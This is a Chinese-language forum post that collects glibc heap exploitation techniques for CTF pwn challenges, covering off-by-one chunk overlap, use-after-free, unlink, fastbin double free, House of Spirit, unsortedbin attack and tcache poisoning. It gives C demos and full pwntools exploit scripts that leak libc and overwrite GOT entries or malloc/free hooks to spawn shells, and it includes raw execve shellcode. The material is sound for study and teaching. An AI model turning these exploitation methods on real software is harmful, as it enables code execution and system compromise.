首页
社区
课程
招聘
[分享]pwn部分简单堆利用记录
2021-10-22 18:57 20228

[分享]pwn部分简单堆利用记录

2021-10-22 18:57
20228

记录内容借鉴来源https://www.yuque.com/cyberangel/rg9gdm/vsh3kd

OFF-BY-ONE——overlap/extend

溢出一个可控字节从而且更改chunk的大小以及状态(即insure位)

 

可以造成堆重叠的效果这里就联合overlap,extend一起记录

1.对insure的fastbin chunk的extend

demo

1
2
3
4
5
6
7
8
9
10
11
//gcc -g test1.c -o test1
#include<stdio.h>
int main(void){
    void *p, *q;
    p = malloc(0x10);//分配第一个0x10的chunk
    malloc(0x10);//分配第二个0x10的chunk
    *(long long *)((long long)p - 0x8) = 0x41;// 修改第一个块的size域
    free(p);
    q = malloc(0x30);// 实现extend,控制了第二个块的内容
    return 0;
}

2.对 inuse 的 smallbin 进行 extend

demo

1
2
3
4
5
6
7
8
9
10
11
12
//gcc -g test2.c -o test2
#include<stdio.h>
int main()
{首先在第9行下断点b 9,我们看一下申请完三个chunk之后内存中的样子:
    void *p, *q;
    p = malloc(0x80);//分配第一个 0x80 的chunk1
    malloc(0x10); //分配第二个 0x10 的chunk2
    malloc(0x10); //防止与top chunk合并
    *(long *)((long)p-0x8) = 0xb1;
    free(p);
    q = malloc(0xa0);
}

3.对 free 的 smallbin 进行 extend

demo

1
2
3
4
5
6
7
8
9
10
11
//gcc -g test3 -o test3
 #include<stdio.h>
 int main()
 {
    void *p, *q;
    p = malloc(0x80);//分配第一个0x80的chunk1
    malloc(0x10);//分配第二个0x10的chunk2
    free(p);//首先进行释放,使得chunk1进入unsorted bin
    *(long *)((long)p - 0x8) = 0xb1;
    q = malloc(0xa0);
}

4.通过 extend 后向 overlapping

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
//gcc -g test4.c -o test4
#include<stdio.h>
int main()
{
    void *p, *q;
    p = malloc(0x80);//分配第10x80 的chunk1
    malloc(0x10); //分配第20x10 的chunk2
    malloc(0x10); //分配第30x10 的chunk3
    malloc(0x10); //分配第40x10 的chunk4   
    *(long *)((long)p - 0x8) = 0x61;
    free(p);
    q = malloc(0x50);
}

5.通过 extend 前向 overlapping

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//gcc -g test5.c -o test5
#include<stdio.h>
int main(void)
{
    void *p, *q, *r, *t;
    p = malloc(128);//smallbin1
    q = malloc(0x10);//fastbin1
    r = malloc(0x10);//fastbin2
    t = malloc(128);//smallbin2
    malloc(0x10);//防止与top合并
    free(p);
    *(int *)((long long)t - 0x8) = 0x90;//修改pre_inuse域
    *(int *)((long long)t - 0x10) = 0xd0;//修改pre_size域
    free(t);//unlink进行前向extend
    malloc(0x150);//占位块
}

以上操作都可以通过off-by-one实现,前向合并只需要分配0x x8大小的chunk

 

就可以控制pre_size同时配合off漏洞控制insure。

典例

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/chunk-extend-shrink/hitcontraning_lab13

 

off by one 漏洞

 

题目的chunk拥有内容chunk和管理chunk,其中的管理chunk有有效

 

指针指向内容chunk,

 

我们利用off by one构造overlap形成堆复用,控制有效指针

 

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
context(log_level='DEBUG')
 
p = process('./heapcreator')
heap = ELF('./heapcreator')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
 
 
def create(size, content):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(content)
 
 
def edit(idx, content):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(idx))
    p.recvuntil(":")
    p.sendline(content)
 
 
def show(idx):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(idx))
 
 
def delete(idx):
    p.recvuntil(":")
    p.sendline("4")
    p.recvuntil(":")
    p.sendline(str(idx))
 
 
create(0x18, "hollk"
create(0x10, "hollk"
 
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
 
delete(1)
 
create(0x30, p64(0) * 3 + p64(0x21) + p64(0x30) + p64(heap.got['free'])) 
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")
 
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
 
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
 
edit(1, p64(system_addr))
#gdb.attach(p)
delete(0)
#gdb.attach(p)
p.interactive()

UAF

由于free后未置空指针,导致的use after free

 

亦或是,因为在heaparry中含有free or not的标识,但是功能中

 

含有标识恢复的功能导致的uaf(祥云杯2021升级密码箱)

 

由于比较简单一般不会单独作为题目出现,往往结合别的漏洞复合使用

 

附件下载:
链接:https://pan.baidu.com/s/19StzpwizVbeyNEcY48XcFQ
提取码:oqlh

unsortedbin的unlink(基础)

unlink的公式如下

 

fd=point_addr-0x18

 

bk=point_addr-0x10

 

伪造chunk成功后会在下两次申请到的chunk申请到point_addr

 

以2014 HITCON stkof为例进行讲解:
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2014_hitcon_stkof
参考资料:
https://blog.csdn.net/qq_41202237/article/details/108481889 #主要思路
https://wzt.ac.cn/2018/10/16/s-pwn-project-4/ #payload来源
感谢@hollk师傅的文章
附件下载:
链接:https://pan.baidu.com/s/1tXTaLajFHdKB0Ofxnk8V4Q
提取码:z4p6

 

题目本身在edit的时候存在堆溢出,但是没有show所以需要构造

 

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
else:
    p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140
 
 
def alloc(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')
 
 
def edit(idx, size, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil('OK\n')
 
 
def free(idx):
    p.sendline('3')
    p.sendline(str(idx))
 
 
def exp():
    # trigger to malloc buffer for io function
    alloc(0x100# idx 1
 
    alloc(0x30# idx 2
    # small chunk size inorder to trigger unlink
    alloc(0x80# idx 3
    # a fake chunk at global[2]=head+16 who's size is 0x20
    payload = p64(0#prev_size
    payload += p64(0x20#size
    payload += p64(head + 16 - 0x18#fd
    payload += p64(head + 16 - 0x10#bk
    payload += p64(0x20# next chunk's prev_size bypass the check
    payload = payload.ljust(0x30, 'a')
    # overwrite global[3]'s chunk's prev_size
    # make it believe that prev chunk is at global[2]
    payload += p64(0x30)
    # make it believe that prev chunk is free
    payload += p64(0x90)
    edit(2, len(payload), payload)
    # unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
    free(3)
    p.recvuntil('OK\n')
    #gdb.attach(p)
    # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
    payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
        stkof.got['atoi'])
    edit(2, len(payload), payload)
    # edit free@got to puts@plt
    payload = p64(stkof.plt['puts'])
    edit(0, len(payload), payload)
 
    #free global[1] to leak puts addr
    free(1)
    puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    log.success('libc base: ' + hex(libc_base))
    log.success('/bin/sh addr: ' + hex(binsh_addr))
    log.success('system addr: ' + hex(system_addr))
    # modify atoi@got to system addr
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send(p64(binsh_addr))
    p.interactive()
 
 
if __name__ == "__main__":
    exp()

fastbin_attack中的fastbin_double_free

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include<stdio.h>
typedef struct _chunk
{
    long long pre_size;
    long long size;
    long long fd;
    long long bk; 
} CHUNK,*PCHUNK;
 
CHUNK bss_chunk;
 
int main()
{
    void *chunk1,*chunk2,*chunk3;
    void *chunk_a,*chunk_b;
 
    bss_chunk.size=0x21;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);
 
    free(chunk1);
    free(chunk2);
    free(chunk1);
 
    chunk_a=malloc(0x10);
    *(long long *)chunk_a=&bss_chunk;
    malloc(0x10);
    malloc(0x10);
    chunk_b=malloc(0x10);
    printf("%p\n",chunk_b);
    return 0;
}

典例

以iscc 2018的Write Some Paper为例进行讲解,不懂的可以看看上一节的内容
程序来源:https://github.com/mhzx020/Redirect
参考资料:https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/02/paper/
附件下载:
链接:https://pan.baidu.com/s/1pBxc_-8pqJr9MRlA2AvxHQ
提取码:2onz

 

简单题,给了后门,更改got表为后门地址,利用double更改指针就行了

 

epx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
 
myelf = ELF("./paper")
io = process(myelf.path)
 
def add_paper(num, index, content):
    io.recv()
    io.sendline("1")
    io.recv()
    io.sendline(str(index))
    io.recv()
    io.sendline(str(num))
    io.recv()
    io.sendline(content)
 
def del_paper(index):
    io.recv()
    io.sendline("2")
    io.recv()
    io.sendline(str(index))
 
add_paper(0x30, 1, "1")
add_paper(0x30, 2, "1")
 
#gdb.attach(io)
 
del_paper(1)
del_paper(2)
del_paper(1)
 
#gdb.attach(io)
 
add_paper(0x30, 1, p64(0x60202a)) #chunk1
#gdb.attach(io)
add_paper(0x30, 1, "1")
#gdb.attach(io)
add_paper(0x30, 1, "1")
#gdb.attach(io)
add_paper(0x30, 1, "\x40\x00\x00\x00\x00\x00"+p64(myelf.symbols["gg"])) #0x60202a_chunk
#gdb.attach(io)
 
io.recv()
io.sendline("a")
#gdb.attach(io)
io.interactive()

fastbin_attack中的House of Spirit

利用思路

1伪造堆块
2覆盖堆指针指向上一步伪造的堆块
3释放堆块,将伪造的堆块放入fastbin的单链表里面(需要绕过检测)
4申请堆块,将刚才释放的堆块申请出来,最终可以使得向目标区域中写入数据,以达到控制内存的目的。

典例

lctf2016_pwn200 https://gitee.com/LightInfection/ctf/tree/master

 

exp

 

在开始的money之后的输入存在栈溢出,而且没有'\x00'截断puts的时候就可以带出rbp

 

我们到时候利用栈溢出把rbp的位置改成fake_chunk的位置,接着利用fake chunk控制rip最后退出程序就可以执行shellcode

 

非常好的一道堆栈结合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#encoding:utf-8
from pwn import *
 
#r = remote('127.0.0.1', 6666)
p = process("./pwn200")
 
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
 
def pwn():
    # gdb.attach(p, "b *0x400991")
 
    data = shellcode.ljust(46, 'a')
    data += 'bb'
    p.send(data)
    p.recvuntil('bb')
    rbp_addr = p.recvuntil(', w')[:-3]
    rbp_addr = u64(rbp_addr.ljust(8,'\x00'))
    print hex(rbp_addr)
 
    fake_addr = rbp_addr - 0x90
    shellcode_addr = rbp_addr - 0x50
    # 输入id伪造下一个堆块的size
    p.recvuntil('id ~~?')
    p.sendline('32')
 
    p.recvuntil('money~')
    data = p64(0) * 5 + p64(0x41) # 伪造堆块的size
    data = data.ljust(0x38, '\x00') + p64(fake_addr) # 覆盖堆指针
    p.send(data)
 
    p.recvuntil('choice : ')
    p.sendline('2') # 释放伪堆块进入fastbin
 
    p.recvuntil('choice : ')
    p.sendline('1')
    p.recvuntil('long?')
    p.sendline('48')
    p.recvuntil('\n48\n') # 将伪堆块申请出来
    data = 'a' * 0x18 + p64(shellcode_addr) # 将eip修改为shellcode的地址
    data = data.ljust(48, '\x00')
    p.send(data)
    p.recvuntil('choice : ')
    p.sendline('3') # 退出返回时回去执行shellcode
 
    p.interactive()
 
if __name__ == '__main__':
    pwn()

fastbin_attack中的Alloc to Stack

参考资料:https://wiki.x10sec.org/pwn/heap/fastbin_attack/#alloc-to-stack
https://xz.aliyun.com/t/7490
附件下载:
链接: https://pan.baidu.com/s/1dplP_JkSdl9M7F9sUEDVeQ 密码: mbht
--来自百度网盘超级会员V3的分享

fastbin_attack中的Arbitrary Alloc

参考资料:
https://wiki.x10sec.org/pwn/heap/fastbin_attack/#arbitrary-alloc
附件:
链接: https://pan.baidu.com/s/18qfkOMauvySSfHkSLjIvvQ 密码: 911k
--来自百度网盘超级会员V3的分享

典例

fastbin_attack中的Arbitrary Alloc(例题)

 

题目来源:0ctf 2017 BabyHeap
参考资料:
https://blog.csdn.net/qq_36495104/article/details/106202135 #思路
CTF-wiki
https://www.yuque.com/hxfqg9/bin/bp97ri#sKWXZ #payload
https://blog.csdn.net/counsellor/article/details/81543197 #关闭地址随机化

 

附件:
链接: https://pan.baidu.com/s/1uG2cfQae0iwULtYvRmEBIw 密码: f1i6
--来自百度网盘超级会员V3的分享

 

漏洞在edit存在堆溢出,堆溢出,打fastbin

 

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
r=process('./babyheap_0ctf_2017')
context.log_level='debug'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size):
    r.recv()
    r.sendline(str(1))
    r.recv()
    r.sendline(str(size))
def fill(idx,con):
    r.recv()
    r.sendline(str(2))
    r.recv()
    r.sendline(str(idx))
    r.recv()
    r.sendline(str(len(con)))
    r.recv()
    r.send(str(con))
def show(idx):
    r.recv()
    r.sendline(str(4))
    r.recv()
    r.sendline(str(idx))
 
def dele(idx):
    r.recv()
    r.sendline(str(3))
    r.recv()
    r.sendline(str(idx))
 
add(0x10)#0
add(0x10)#1
add(0x10)#2
add(0x10)#3
add(0x80)#4
 
dele(1)
dele(2)
 
payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
fill(0,payload)
payload=p64(0)*3+p64(0x21)
fill(3,payload)
add(0x10)
add(0x10)
payload=p64(0)*3+p64(0x91)
fill(3,payload)
add(0x80)#overlap
dele(4)
show(2)
r.recvuntil('Content: \n')
leak=u64(r.recv(6).ljust(8,'\x00'))
log.info("leak"+hex(leak))
base=leak-0x3c4b78
sys=base+libc.sym["system"]
binsh=base+libc.search("/bin/sh\x00").next()
free=base+libc.sym["__free_hook"]
malloc=base+libc.sym['__malloc_hook']
#gdb.attach(r)
add(0x60)
#gdb.attach(r)
dele(4)
#gdb.attach(r)
fill(2,p64(malloc-0x23))
#gdb.attach(r)
add(0x60)#index4
add(0x60)#index6
payload = p8(0)*3
payload += p64(0)*2
payload += p64(base+0x4527a)
fill(6, payload)
add(0x255)
#gdb.attach(r)
r.interactive()

unsortedbin_attack

题目来源:HITCON Training lab14 magic heap
附件:
链接: https://pan.baidu.com/s/1xtxgobatE9yWFKkEsL6JLg 密码: 44km
--来自百度网盘超级会员V3的分享

 

白给题堆溢出,没开PIE直接打unsortedbin改bk

 

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
r = process('./magicheap')
 
 
def create_heap(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)
 
 
def edit_heap(idx, size, content):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)
 
 
def del_heap(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))
 
 
create_heap(0x20, "1111"# 0 size=0x20=32
create_heap(0x80, "2222"# 1 size=0x80=128
# in order not to merge into top chunk
create_heap(0x20, "3333"# 2
#gdb.attach(r)
del_heap(1)
#gdb.attach(r)
magic = 0x6020c0
fd = 0
bk = magic - 0x10
 
edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
#gdb.attach(r)
create_heap(0x80, "4444"#trigger unsorted bin attack
#gdb.attach(r)
r.recvuntil(":")
r.sendline("4869")
r.interactive()

Tcache Attack中的Tcache Poisoning

tcache poisoning的基本原理是覆盖tcache中的next域为目标地址,通过malloc来控制任意地址。
这种攻击方法不需要伪造任何的chunk结构。

 

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//gcc -g -fno-stack-protector -z execstack -no-pie -z norelro test.c -o test
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
 
int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    size_t stack_var;
    printf("定义了一个变量 stack_var,我们想让程序 malloc 到这里 %p.\n", (char *)&stack_var);
 
    printf("接下来申请两个 chunk\n");
    intptr_t *a = malloc(128);
    printf("chunk a 在: %p\n", a);
    intptr_t *b = malloc(128);
    printf("chunk b 在: %p\n", b);
 
    printf("free 掉这两个 chunk\n");
    free(a);
    free(b);
 
    printf("现在 tcache 那个链表是这样的 [ %p -> %p ].\n", b, a);
    printf("我们把 %p 的前 %lu 字节(也就是 fd/next 指针)改成 stack_var 的地址:%p", b, sizeof(intptr_t), &stack_var);
    b[0] = (intptr_t)&stack_var;
    printf("现在 tcache 链表是这样的 [ %p -> %p ].\n", b, &stack_var);
 
    printf("然后一次 malloc : %p\n", malloc(128));
    printf("现在 tcache 链表是这样的 [ %p ].\n", &stack_var);
 
    intptr_t *c = malloc(128);
    printf("第二次 malloc: %p\n", c);
    printf("Finish!\n");
 
    return 0;
}

典例

参考资料:
https://faraz.faith/2019-10-20-secconctf-2019-one/
https://github.com/SECCON/SECCON2019_online_CTF
题目来源:SECCON 2019 Online CTF: one (pwn, heap, glibc-2.27)
附件下载:
链接:https://pan.baidu.com/s/1nDee9BZ1RMhl3bfjHPSjsA 密码: 8qjs
--来自百度网盘超级会员V3的分享

 

题目就一个UAF非常简单,Ubuntu18的2.27版本,double free都不用去改bk上的key,也不用去中间free个别的直接freeok

 

直接改fd控制unsortedbin泄露libc打free_hook

 

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#!/usr/bin/env python2
 
from pwn import *
#context.log_level = 'debug'
BINARY = './one'
HOST, PORT = 'one.chal.seccon.jp', 18357
 
elf = ELF(BINARY)
libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc.so.6')
 
def start():
    if not args.REMOTE:
        #print "LOCAL PROCESS"
        return process(BINARY)
    else:
        #print "REMOTE PROCESS"
        return remote(HOST, PORT)
 
def get_base_address(proc):
    return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)
 
def debug(breakpoints):
    script = "handle SIGALRM ignore\n"
    PIE = get_base_address(p)
    script += "set $_base = 0x{:x}\n".format(PIE)
    for bp in breakpoints:
        script += "b *0x%x\n"%(PIE+bp)
    gdb.attach(p,gdbscript=script)
 
def add(content):
    p.sendlineafter('> ', '1')
    p.sendlineafter('> ', content)
 
def show():
    p.sendlineafter('> ', '2')
 
def free():
    p.sendlineafter('> ', '3')
 
#context.terminal = ['tmux', 'new-window']
 
p = start()
if args.GDB:
    debug([])
 
# ----------- Heap Leak ------------
# Prepare
add('A'*0x3e)
 
# We do four frees to set the 0x40 tcache bin count to 4
for i in range(4):
    free()
#gdb.attach(p)
# Leak the fourth chunk's address on the heap
show()
heap_leak = u64(p.recvline().strip(b'\n').ljust(8, b'\x00'))
log.info('Heap leak: ' + hex(heap_leak))
 
# ----------- Libc Leak ------------
# Empty the 0x40 tcache bin first
add(p64(0) + b'A'*8) # Set FD to null here
add('A'*8) # 0x40 tcache bin now empty
# Note that after the above, the 0x40 tcache bin will have count = 2
# Create four chunks to prep for libc leak
# Make all of them have fake chunks in them with PREV_INUSE bits set
# And make all of them have valid FD pointers as well
add(p64(0) + p64(0x91)+(p64(heap_leak) + p64(0)) )
 
 
for i in range(4):
    add(p64(0)*4)
#gdb.attach(p)
# Double free the last chunk
free() # count = 3
#gdb.attach(p)
 
free() # count = 4
#gdb.attach(p)
 
# Set FD to one of the fake 0x91 chunks
add(p64(heap_leak + 0x60)) # count = 3
#gdb.attach(p)
#gdb.attach(p)
 
add('A'*8) # count = 2
#gdb.attach(p)
 
add('A'*8) # Got a 0x91 chunk, count = 1
#gdb.attach(p)
 
 
# Free 7 times to fill up tcache bin, 8th one goes into unsorted bin
for i in range(8):
    free()
 
# Unsorted bin libc leak
show()
leak = u64(p.recvline().strip(b'\n').ljust(8, b'\x00'))
libc.address = leak - 0x3ebca0 # Offset found using gdb
free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']
 
log.info('Libc leak: ' + hex(leak))
log.info('Libc base: ' + hex(libc.address))
log.info('__free_hook: ' + hex(free_hook))
log.info('system: ' + hex(system))
 
# Tcache poisoning attack to overwrite __free_hook with system
add('A'*8) # count = 0
free()
free()
 
# Overwrite __free_hook with system
add(p64(free_hook))
add(p64(free_hook))
#add(p64(system))
one_gadget=[0x4f365,0x4f3c2,0x10a45c]
payload=one_gadget[1]+libc.address
add(p64(payload))
 
# Call system("/bin/sh\x00")
#add('/bin/sh\x00')
free()
p.interactive()

Tcache Attack中的tcache_perthread_struct

参考资料:
https://www.cnblogs.com/Theffth-blog/p/12790720.html
https://blog.csdn.net/weixin_43833642/article/details/107166551
题目来源:BUUCTF-[V&N2020 公开赛]easyTHeap
附件:
链接:https://pan.baidu.com/s/1T1pV_mbUEPXCg-vlu_Yw7w 密码: 5fnk
--来自百度网盘超级会员V3的分享

 

chunk大小小于0x100

 

UAF漏洞double free 泄露heap改tcache得到unsortedbin泄露libc直接随便玩

 

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#! /usr/bin/env python
from pwn import *
 
p = process('./vn_pwn_easyTHeap')
#p = remote('node3.buuoj.cn', 25389)
elf = ELF('./vn_pwn_easyTHeap')
libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc.so.6')
 
def new(size):
    p.sendlineafter('choice: ', '1')
    p.sendlineafter('size?', str(size))
 
def edit(index, content):
    p.sendlineafter('choice: ', '2')
    p.sendlineafter('idx?', str(index))
    p.sendlineafter('content:', content)
 
def show(index):
    p.sendlineafter('choice: ', '3')
    p.sendlineafter('idx?', str(index))
 
def delete(index):
    p.sendlineafter('choice: ', '4')
    p.sendlineafter('idx?', str(index))
 
new(0x50) #0
delete(0)
delete(0)
show(0)
heap_base = u64(p.recvuntil(b'\n', drop = True).ljust(8, b'\x00'))
#print hex(heap_base)
new(0x50) #1
edit(1, p64(heap_base - 0x250))
new(0x50) #2
new(0x50) #3
edit(3, 'a' * 0x28)
gdb.attach(p)
delete(3)
show(3)
libc_base = u64(p.recvuntil(b'\n', drop = True).ljust(8, b'\x00')) - 0x3ebca0
#print hex(libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['__libc_realloc']
one_gadget=[0x4f365,0x4f3c2,0x10a45c]
one = libc_base + one_gadget[2]
new(0x50)
edit(4, b'b' * 0x48 +  p64(malloc_hook - 0x13))
new(0x20)
edit(5, b'\x00' * (0x13 - 0x8) + p64(one) + p64(realloc + 8))
new(0x10)
p.interactive()

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞2
打赏
分享
最新回复 (1)
雪    币: 1
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wx_eternity. 2022-6-16 16:19
2
0
兄弟有祥云杯2021升级密码箱这道题吗?有的话麻烦发到我qq邮箱谢谢:wait_3344@qq.com
游客
登录 | 注册 方可回帖
返回